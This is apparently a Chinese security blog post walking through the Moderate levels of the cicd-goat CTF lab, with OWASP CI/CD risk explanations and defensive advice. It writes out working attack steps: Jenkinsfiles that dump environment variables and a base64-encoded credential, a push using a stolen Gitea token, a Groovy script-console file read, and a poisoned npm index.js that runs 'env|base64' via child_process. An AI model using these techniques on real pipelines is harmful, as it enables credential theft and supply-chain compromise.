上一篇文章《从 cicd-goat了解供应链安全风险(上)》我们主要介绍了 cicd-goat 靶场开始之前的准备工作,以及Easy部分的分析过程。同时,我们介绍了 CI/CD OWASP-Top10 安全风险中的两个,分别是管道投毒执行(PPE,Poisoned Pipeline Execution)和凭证管理不当(Insufficient credential hygiene)。
这次,我们将继续 Moderate 部分的分析,同样也会在每一关的基础上做适当的拓展。
Moderate
这一部分关卡难度介于 Easy 和 hard 之间。
一 、Caterpillar
1.1 题目与提示
题目和提示:
你是谁?你只有读取权限……这就够了吗?使用你对 Wonderland/caterpillar 存储库的访问权限来窃取存储在 Jenkins 凭证存储中的 flag2 机密。
🔔 fork存储库并创建拉取请求以触发恶意管道。
🔔 在 Jenkins 作业中执行恶意代码后,哪些环境变量可以帮助您继续前进?
🔔 从管道中找到了 Gitea 访问令牌?太好了。还有另一个管道,它是通过推送到主分支触发的。也许您可以从那里访问标志!
1.2 分析过程
用普通用户登录 Gitea 后,我们发现 caterpillar仓库中存在Jenkinsfile文件,从文件内容可以看出flag 应该存放在flag2
用户名对应的密码的TOKEN
变量里。有了D-PPE利用的经验(上一篇文章 White Rabbit 那一关),或许你想到了可以直接修改Jenkinsfile文件打印出TOKEN
变量的内容。
pipeline { agent any environment { PROJECT ="loguru"} stage ('Print Environment Variables'){ steps{//Print all environment variables sh 'printenv'}} stage ('Lint'){ steps { sh "pylint ${PROJECT} || true"}} stage ('Unit Tests'){ steps { sh "pytest || true"}} stage('deploy'){ when { expression { env.BRANCH_NAME =='main'}} steps { withCredentials([usernamePassword(credentialsId:'flag2', usernameVariable:'flag2', passwordVariable:'TOKEN')]){ sh 'curl -isSL "http://wonderland:1234/api/user" -H "Authorization: Token ${TOKEN}" -H "Content-Type: application/json" || true'}}}} post { always { cleanWs()}}}
但当我们尝试修改时,发现并没有修改权限,所以这里不能直接利用D-PPE。
不过,从提示一得知,我们可以fork该存储库,修改Jenkinsfile后提交pull requests(PR)来触发管道执行。这其实是利用3PE,也就是公开管道投毒执行,我们后面会讲到。具体操作如下:
首先,对Wonderland/caterpillar仓库创建一个fork,然后修改jenkinsfile文件打印出env信息:
⚠️在实际场景中很多敏感信息也会存储在环境变量中,供应用程序获取调用。攻击者在拿到某台机器权限后,也经常会从环境变量中来收集凭据。
然后创建一个合并请求:
这时触发了Jenkins的管道wonderland-caterpillar-test 的执行,我们接着返回jenkins,从wonderland-caterpillar-test管道的Install_Requirements阶段的日志中,我们可以看到打印出的env信息:
从打印出的 env 信息中,我们可以找到gitea的token信息:
拿到gitea的token之后,就意味着我们有了接管Caterpillar仓库的凭据了,到了这一步就相当于我们利用公开管道投毒拿到了私有代码仓库的凭据,就可以进一步修改仓库的代码中的 Jenkinsfile了(在真实场景下,攻击者也可能会尝试在代码中插入后门,以感染生产环境。在这里我们只是侧重介绍 PPE,不要限制思维),下面是操作步骤:
# 首先clone代码到本地git clone http://a644940c92efe2d1876e16a5d29e6c6d7e199b68@{YOUR_IP}:3000/Wonderland/caterpillar.git# 然后修改Jenkinsfile文件vim Jenkinsfile# 打印出token变量内容(base64编码)pipeline { agent any stages { stage ('poc'){ steps { withCredentials([usernamePassword(credentialsId:'flag2', usernameVariable:'flag2', passwordVariable:'TOKEN')]){ sh 'echo $TOKEN | base64' } } } }}# 提交代码git commit -a -m 'git-flag2'# push代码以触发jenkins管道wonderland-caterpillar-prodgit push http://5d3ed5564341d5060c8524c41fe03507e296ca46@{YOUR_IP}:3000/Wonderland/caterpillar.git
完成了上面的操作,我们返回jenkins查看管道wonderland-caterpillar-prod中poc阶段日志的输出内容:
可以看到输出的编码后的flag:
将token值base64解码后就是flag内容,提交完事。
上帝视角看下“研发”的配置:
使用admin账号登录jenkins查看两条管道wonderland-caterpillar-test 和wonderland-caterpillar-prod 的配置:
-
• wonderland-caterpillar-test 管道
我们可以看到,这条pipeline 配置了 gitea-access-token 凭据,但是没有配置 flag2。
查看配置信息发现,该管道是发现来自 fork 存储库的 pull requests,并且 Strategy 设置的是“The current pull request revision”,也就是说当接收到 PR 时,Jenkins 构建的是PR 提交分支的最新代码。
-
• wonderland-caterpillar-prod 管道
wonderland-caterpillar-prod这个管道我们看到是有配置 flag2密钥的。
1.3 风险点
⚠️3PE(公开管道投毒执行)
我们在上一篇文章中已经介绍了 PPE 攻击方式中的两个子类,分别是 D-PPE 和 I-PPE。还有第三种管道投毒执行的方式就是公开管道投毒执行(3PE,Public-PPE)。相较于前两者而言,3PE 的不同点是攻击者可以在没有特定权限的情况下,通过公共仓库执行PPE攻击。
一般情况下,攻击者往往需要钓鱼、密码喷洒/爆破、横移等手段获取一定的权限的账号,才能进行直接或间接投毒攻击。但是在一些情况下,匿名的攻击者也能进行 CI 管道的投毒。比如,很多开源项目的公共仓库(如 Github 上的开源项目)允许任意用户通过创建 PR 来贡献代码,这些项目往往会自动使用 CI 工具(如 Github Action[1])进行测试和构建,如果管道运行之前没有对匿名用户提交的代码进行扫描和审查,就有可能造成 3PE 攻击。
二、 Cheshire Cat
2.1 题目与提示
有些人会走这条路。有些人会走那条路。但就我个人而言,我更喜欢捷径。受害者的 Jenkins 实例中的所有作业都在专用节点上运行,但这对你来说还不够好。你很特别。你想在 Jenkins 控制器上执行代码。这才是真正的精华所在!使用你对 Wonderland/cheshire-cat 存储库的访问权限在控制器上运行代码并从其文件系统中窃取 ~/flag5.txt。注意:不要使用在此挑战中获得的访问权限来解决其他挑战。
🔔 尝试执行Direct-PPE攻击。
🔔 Jenkinsfile 如何指示 Jenkins 在控制器上运行作业?
🔔 尝试找到控制器的标签 - “内置节点”。
2.2 分析过程
从题目分析得知,flag5 存在于 Jenkins 控制器上的~/flag5.txt
文件中,我们需要想办法读取这个文件。从提示来看,我们需要利用D-PPE攻击,并且要将 CI 管道的步骤在“内置节点”(也就是“built-in”节点)执行。
💡什么是“内置节点”?
内置节点是 Jenkins 中的Built-In Agent,它是Jenkins 主节点自带的执行环境,Jenkins 安装完成后,默认会启用 Built-In Agent,标记为 master 或 built-in。
方法 1 Direct-PPE 攻击
首先登录 Gitea,进入cheshire-cat仓库,修改jenkinsfile如下(注意修改agent的标签为“built-in”,表示任务将在 Jenkins 主节点上执行),然后提交一个合并请求:
提交合并请求后,立即触发执行 pipeline。我们返回 Jenkins,可以查看管道的 poc 阶段输出的日志信息,从中可以获取 flag5。
方法 2 Jenkins 后台console命令执行
另外,还有一种方法是,利用控制台的console在jenkins控制节点执行命令。直接登录jenkins的admin账号,访问http://{YOUR_IP}:8080/computer/(built-in)/script
,这里我们就来到了 Jenkins 主节点的 Script Console 页面,我们可以通过提交任意的 Groovy[2] 代码在 Jenkins 主节点上执行命令,代码执行结果将会回显到页面上。
当然,利用此方法读取 flag5 还是小菜一碟:
println "cat /var/jenkins_home/flag5.txt".execute().text
你也可以利用此功能反弹 shell 或持久化。
⚠️需要注意,打靶场是不建议用 admin 账号的。不过,在实际攻防场景中,如果拿到了jenkins的admin账号,这样操作更方便。
2.3 风险点
⚠️D-PPE(直接管道投毒执行)
我们在上一篇文章中已经提到过这种攻击方式,这里不再赘述。有一点需要注意的是,在 CI 配置文件中我们可以指定执行管道的节点。Jenkins 的主节点会存放大量的凭据信息,如果没有被设置为禁止执行,攻击者则可以通过这种方式获取主节点的敏感信息甚至是系统权限。
⚠️PBAC(基于管道的访问控制)不足
基于管道的访问控制(PBAC,Pipeline-Based Access Controls[3])不足,也是 OWASP CI/CD-Top10 风险之一。管道是 CI/CD 的核心,执行管道的节点会按照管道配置中指定的命令执行。如果没有做好管道的访问控制,PPE 成功的攻击者则会利用管道进行横向扩散,包括获取管道执行节点的敏感信息、投毒代码/制品仓库、渗透运行时环境(包括生产、测试环境)等等。
在实际场景中,不同的管道所需的凭据可能不同,所以管道的敏感程度不同。对于管道的访问控制而言,也应该遵循最小权限原则,主要的防护建议有以下几点:
防护建议:
-
• 构建节点之间隔离:不同敏感级别的管道不应共享构建节点;管道应该在专用节点上执行,禁止在包含敏感信息的节点(如 Jenkins 的主节点)执行。 -
• 构建节点重置:在管道执行完成后,构建节点应该清除管道中所使用过的凭据或敏感信息,使节点恢复到初始状态; -
• 节点本身的安全:确保不存在必修漏洞;CI/CD 系统与运行时环境做了必要的网络隔离; -
• 密钥管理:定期轮换凭据,确保每个管道只能访问所需的密钥; -
• CI/CD 系统出网限制:很多企业内部已经构建了自己的制品仓库、包管理平台等等,所以需要考虑构建节点主机是否应该默认出公网。如果必须出网,可以考虑只对必要的几个官方仓库地址开放。
三、 Twiddledum
3.1 题目与提示
题目与提示:
相反,如果是这样,那可能就是;如果是这样,那就会是;但如果不是,那就不是。这就是逻辑。Flag6 正在管道中等着你。快去获取它吧。
🔔 twiddledum 应用程序使用了哪些依赖项?
🔔 twiddledee 包是一个依赖项。使用它在 twiddledum 管道中执行恶意代码。
3.2 分析过程
从题目和提示信息来看,这一关的突破点应该是依赖投毒,而且跟twiddledum 和 twiddledee 项目有关,带着这个预设我们开始分析。
首先我们登录 Gitea, 发现我们当前的账号对于twiddledum 项目是没有修改权限的,只对twiddledee 项目有修改权限。同时,我们在twiddleum 仓库中的一条commit记录中找到如下信息,可以看到该项目是依赖twiddledee项目的:
我们可以分析一下这一行的依赖配置:
"twiddledee":"git+http://gitea:3000/Wonderland/twiddledee#semver:^1.1.0"
这里的^1.1.0
是一个语义化版本控制(SemVer)符号,表示依赖项的版本范围。^1.1.0
的含义是允许依赖的版本为 1.1.0 及以上的所有“向后兼容”版本,但不包括 2.0.0 及以后的版本。也就是说,允许的范围是 >=1.1.0 <2.0.0。
接着,我们发现twiddledum 和 twiddledee项目中都不存在 CI 配置文件(Jenkinsfile),所以应该不能考虑 PPE 的攻击方式了。
同时,我们从 Jenkins 中看到这里配置了twiddledum 的管道。但是项目中并没有 CI 配置文件,难道构建过程中默认执行了仓库里的其他代码文件?
接着,我们查看了twiddledum 项目的文件 index.js,发现该文件中调用了 twiddledee 项目。
index.js 文件是 node 代码调用时默认执行的入口文件,所以说当twiddledum 项目的index.js 文件被执行时,将会调用默认执行twiddledee 项目的入口文件 index.js。这样一来,依赖关系就比较清楚了。
因为我们只有 twiddledee 项目代码的修改权限,所以可以投毒twiddledee 项目代码的入口文件index.js。这样一来,当twiddledum 管道中测试或运行步骤中执行了 index.js 文件时,就会自动调用执行我们投毒的代码。
如何让twiddledum 项目引用我们投毒过的代码?这里需要补充一个包解析逻辑:
💡包解析的逻辑:
1、最新版本优先:许多包管理器(如npm、pip等)都会配置为首选最新版本的包。当构建系统或开发人员请求依赖项时,包管理器通常会满足依赖项要求的最高可用版本。
2、外部存储库优先级:在某些情况下,除非明确配置,否则包管理器可能会优先从外部存储库获取包,而不是从内部存储库获取包。
攻击场景:
-
• 假设一个组织使用以版本命名的内部包test-app:1.2.3; -
• 攻击者可以在npm或PyPI等公共存储库上发布具有相同名称但版本号更高的恶意包,例如test-app:2.0.0; -
• 版本解析:当组织的构建系统运行并尝试解析test-app时,它会检查内部存储库和外部存储库。如果发现公共存储库中的版本号更高,则包管理器可能会选择此版本2.0.0而不是内部版本1.2.3; -
• 当构建系统集成攻击者投放的恶意包test-app:2.0.0,并执行时,将会触发恶意代码执行。
回到本题,我们在上面已经分析过了twiddledum 项目的依赖配置,也就是twiddledum依赖的twiddledee包的版本是>=1.1.0 <2.0.0。上面的分析我们也知道了,在版本解析过程中,包管理器会自动拉取最新版本的包。
所以,根据上面的信息,我们可以有一个攻击思路:我们在twiddledee项目中注入恶意命令,并构建发布一个比1.0.0更高的版本,随后可以在jenkins上手动构建twiddledum项目,这时构建过程会直接拉取我们构造的twiddledee项目的高版本包,然后执行恶意代码。
于是,我们可以修改 twiddledee 项目代码中的 index.js 内容为:
// 导入模块child_processconst child_process =require('child_process');// 输出环境变量的base64编码child_process.exec('env|base64 -w 0',function(error, stdout, stderr){console.log(stdout)});
接着,我们发一个新版本1.3.0(版本号需要大于1.1.0):
接着,在jenkins中手动构建twiddledum项目,点击“Build Now”:
应该是因为国内网络环境的原因很多次都没有构建成功,然后通过jenkins的admin账户修改了构建命令(更改了国内镜像源):
最后构建成功,base64解密输出的内容得到flag:
上帝视角看下“研发”的配置:
我们可以从build配置中看到,build过程中会运行twiddledum 项目代码的 index.js 文件,又因为该文件导入了twiddledee 项目,所以该文件执行时会调用执行twiddledee 项目的入口文件 index.js,也就是会执行我们植入的恶意代码。
TIPS:攻击者投毒时,对项目代码的入口文件或默认执行的文件做手脚是常见的手法,因为这会大大增加恶意代码片段被调用执行的概率。这一点不仅在代码投毒中常见,在容器镜像投毒中也同样适用。
3.3 风险点
⚠️依赖链滥用
依赖链滥用风险(Dependency chain abuse risks[4]),是 OWASP CICD 前十大安全风险之一,依赖链投毒也是实际上软件供应链投毒中最常见的方式之一。
随着组织中开发环境和系统的增多,管理自编写代码所依赖的外部包变得越来越复杂。通常,每种编程语言都有专门的客户端来获取依赖包,这些包通常来自自管理的包仓库(如 Jfrog Artifactory)和语言特定的SaaS仓库。例如,Node.js 使用 npm 和 npm registry,Python 的 pip 使用 PyPI,Ruby 的 gems 使用 RubyGems。
很多企业在 SCA 或静态代码扫描中下了很大功夫,但可能忽略依赖生态系统的安全,尤其是如何确保拉取依赖项的过程的安全。对于依赖的攻击向量,大概有以下几点:
-
• 依赖混淆:在公共仓库中发布与内部包同名的恶意包,试图诱使客户端下载恶意包; -
• 依赖劫持:通过控制公共仓库中包维护者的账户,上传一个包含恶意代码的新版广泛使用的包,目的是攻击那些毫无防备地拉取最新版本的客户端。(这一关就是利用了这一点) -
• 拼写蹭名攻击:发布与流行包名称相似的恶意包,企图利用开发人员拼写错误时,意外下载这些恶意包。(例如之前比较火的 requests 投毒); -
• 品牌劫持:以符合某个特定品牌的命名规范或其他特征的方式发布恶意包,目的是让毫无戒心的开发者误以为这些包与可信品牌相关联,从而下载这些包。
防护建议
这里介绍几点防护建议,尽管有些可能实现起来比较困难,但这是我们不断逼近的目标。
-
• 对外部拉取的第三方包的途径进行管控:如果可能,企业内部应禁止直接从外部仓库拉取第三方包,应该经过内部代理从互联网获取,这样可以在代理层部署额外的安全能力;维护内部安全的开源软件仓库,配置所有客户端从内部仓库获取包; -
• 包的可信(签名和验证):开启对校验和的认证,开启签名认证功能; -
• 客户端配置:避免客户端拉取包的最新版本,应优先选择审查过的版本范围;
案例
-
• 2020 年[5],PyPI官方仓库被恶意上传了request 钓鱼包,该恶意包通过伪造著名python 库 requests 包名来进行钓鱼, 攻击者可对受感染的主机进行入侵,并实施窃取用户敏感信息及数字货币密钥、种植持久化后门、命令控制等一系列活动。 -
• 2021 年[6],由于凭据泄露,攻击者在官方 npm 仓库发布了包含恶意代码的 coa
包版本,该包的每周下载量高达 900 万次。 -
• 2022年12月[7],攻击者在PyPI上传了一个恶意的“torchtriton”依赖项,该依赖项与官方PyTorch库上的依赖项同名。由于在Python的生态系统中获取依赖项时PyPI通常优先级更高,因此在安装过程中会拉取恶意包。
四、 Dodo
4.1 题目与提示
题目与提示:
每个人都赢了,每个人都必须获得奖品!Dodo 管道正在扫描您。您的任务是让 S3 存储桶公开可读,而不会被抓住。完成后,在作业的控制台输出中领取您的奖品。
🔔 阅读有关 Checkov 的介绍,它是可以阻止您制造混乱的扫描仪。
🔔 阅读有关恶意代码分析的文章。(官方给的文章已经访问不了了,我找到一个类似的文章[8])
4.2 分析过程
从题目来看,我们是需要让 S3 存储桶公开可读,并且逃避扫描器(Checkov)的扫描,然后从 Jenkins 任务控制台就可以拿到 flag 了。
我们首先登录 Gitea 后台,发现Wonderland/dodo
代码仓库我们是可以修改的。仓库中没有 Jenkinsfile,但是从 main.tf 文件(terraform 文件)中我们找到了关于 S3 存储桶的权限配置,配置为“private”私有。
知识补充:
• Checkov[9]:Checkov 是一款开源的基础设施即代码(Infrastructure as Code, IaC)静态分析工具,用于扫描 Terraform、CloudFormation、Kubernetes YAML、Helm Charts、ARM Templates 以及 Serverless 框架等 IaC 文件,检测配置中的安全问题、合规性风险和最佳实践。 • Terrafrom[10]:Terraform 是 HashiCorp 开发的开源基础设施即代码 (IaC) 工具。它允许用户使用描述性语言或文件来定义和配置数据中心基础设施。
这时,我们先按照题目要求将“private”改为“public-read”,也就是将存储桶 dodo 由私有改为公共可读:
接着,我们直接在 Jenkins 上点击“build Now”:
随后,我们看到“Scan and Deploy”阶段报错了“S3 Bucket has an ACL defined which allows public READ access.”,也就是说由于我们在 terraform 的文件 main.tf 中设置了 S3 存储桶公共可读,所以在进行 checkov 扫描的时候没有通过扫描,直接终止了 pipline 任务。
虽然没有拿到 flag,但是我们从 Jenkins 日志控制台的“Shell Script”中发现了“Scan and Deploy”阶段的运行逻辑:
checkov -d .--check CKV2_AWS_39,CKV2_AWS_38,CKV_AWS_20,CKV_AWS_57 terraform init -no-color terraform plan -no-color terraform apply -no-color -auto-approve res=`awslocal --endpoint-url=http://localstack:4566 s3api get-bucket-acl --bucket dodo | jq '.Grants[] | select(.Grantee.Type == "Group" and .Grantee.URI == "http://acs.amazonaws.com/groups/global/AllUsers" and .Permission == "READ")' &> /dev/null`if[-z "$res"]thenecho"Secure"elsedecoded=`echo$FLAG7 | base64 -d`echo"FLAG7: $decoded"fi
从上面的 shell 代码中我们可以看到,首先checkov使用了规则CKV2_AWS_39,CKV2_AWS_38,CKV_AWS_20,CKV_AWS_57 对代码进行了扫描(规则的具体详情官网[11]有介绍),如果通过了扫描则会用 terrform 执行代码仓库中配置的 tf 文件。
接着,会用 aws s3api 从模拟环境 localstack 中查找是否存在公共可读的Grants 配置,如果存在则会直接打印出 flag7 的 base64 编码。
这就意味着我们需要满足两个条件,才能获取 flag:
-
• 第一,通过 checkov 的检查; -
• 第二,设置 S3 存储桶为公共可读。
显然,这两个条件是互相矛盾的,我们必须通过某种方法绕过 checkov 的扫描。仔细阅读提示中给的文章,我们发现了一个关键点:我们可以通过修改 checkov扫描器的配置文件.checkov.yml,可以让扫描器 Checkov 忽略哪些规则/执行哪些代码。
如上图,当配置文件中配置了THIS_NOT_THE_CHECK_YOUR_ARE_LOOKING_FOR
时,checkov将不会扫描该目录下的代码。
回到本题,总体利用的思路应该是:将 main.tf 文件中的s3 bucket设置为公共可读(前面我们已经设置好了),然后想办法修改checkov的配置文件.checkov.yml来逃过checkov的扫描。
接下来,就需要在dodo项目根目录下新建一个.checkov.yml
文件,内容如下,以绕过checkov的扫描:
4.3 风险点
⚠️流程控制机制不足
流程控制机制不足(Insufficient flow control mechanisms[12]),也是 OWASP CI/CD-Top10 风险之一。攻击者在CI/CD流程(如源码管理系统、持续集成系统、制品库等)中获得权限后,由于缺乏强制额外审批或审查的机制,攻击者可能利用此绕过薄弱的安全检查,甚至部署恶意制品。
防护建议
• 配置分支保护规则: 对生产环境及其他敏感系统中使用的代码分支配置分支保护规则。尽量避免将用户账户或分支排除在分支保护规则之外。如果某些用户账户有权限向仓库推送未经审核的代码,确保这些账户没有权限触发与该仓库相关联的部署管道。
• 限制自动合并规则的使用:确保自动合并规则仅适用于最少的上下文,并对所有自动合并规则的代码进行严格审查,确保无法绕过这些规则。同时避免在自动合并过程中导入第三方代码。
• 额外审批或审核:防止账户在没有额外审批或审核的情况下触发生产环境的构建和部署管道。
• 使用预批准的CI服务账户: 尽量只允许由预批准的CI服务账户生成的制品通过管道。防止由其他账户上传的制品在没有二次审核和批准的情况下通过管道。
• 检测并防止偏离和不一致性:检测生产环境中运行的代码与其CI/CD源代码之间的偏离或不一致,及时修改任何存在偏离的资源。
预告
供应链投毒已经是非常常见的攻击方式了,其带来的高收益让不法分子趋之若鹜,就在前两周 Github 一个 20k+🌟的开源项目 one-api,由于 Github Action 中的 Docker hub 凭据被泄露,导致攻击者替换上传了包含挖矿病毒的恶意镜像,虽然已经被及时发现删除了,但是从 issue 看已经有一些人中招了。供应链安全的防护刻不容缓啊!
本篇所有内容就到这,下一篇将介绍hard部分的通关记录,由于这一部分比较复杂,我们会在每一关最后附上攻击路径草图供大家分析参考,敬请期待!
引用链接
[1]
Github Action:https://github.com/features/actions[2]
Groovy:https://groovy-lang.org/[3]
Pipeline-Based Access Controls:https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-05-Insufficient-PBAC[4]
Dependency chain abuse risks:https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-03-Dependency-Chain-Abuse[5]
2020 年:https://security.tencent.com/index.php/blog/msg/160[6]
2021 年:https://github.com/advisories/GHSA-73qr-pfmq-6rp8[7]
2022年12月:https://www.bleepingcomputer.com/news/security/pytorch-discloses-malicious-dependency-chain-compromise-over-holidays/[8]
文章:https://medium.com/cider-sec/malicious-code-analysis-abusing-sast-mis-configurations-to-hack-ci-systems-13d5c1b37ffe[9]
Checkov:https://github.com/bridgecrewio/checkov[10]
Terrafrom:https://www.terraform.io/[11]
官网:https://www.checkov.io/5.Policy%20Index/terraform.html[12]
Insufficient flow control mechanisms: https://owasp.org/www-project-top-10-ci-cd-security-risks/CICD-SEC-01-Insufficient-Flow-Control-Mechanisms
原文始发于微信公众号(喵苗安全):从cicd-goat了解供应链安全风险(中)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论